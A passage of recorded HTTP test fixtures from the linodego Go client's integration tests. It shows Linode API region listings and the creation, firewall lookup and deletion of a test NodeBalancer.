172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":640501}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 768105, "label": "go-test-def", "region": "ap-west", "hostname": "172-105-44-152.ip.linodeusercontent.com", "ipv4": "172.105.44.152", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/768105/firewalls?page=1 method: GET response: body: '{"data": [{"id": 640501, "label": "cloudfw-1720451506635377000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["24.193.170.156/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "1c7e6183"}, "tags": [], "entities": [{"id": 768105, "type": "nodebalancer", "label": "go-test-def", "url": "/v4/nodebalancers/768105"}]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "592" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/768105 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 15:11:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerNode_Create.yaml000066400000000000000000001203011474652371000327130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, 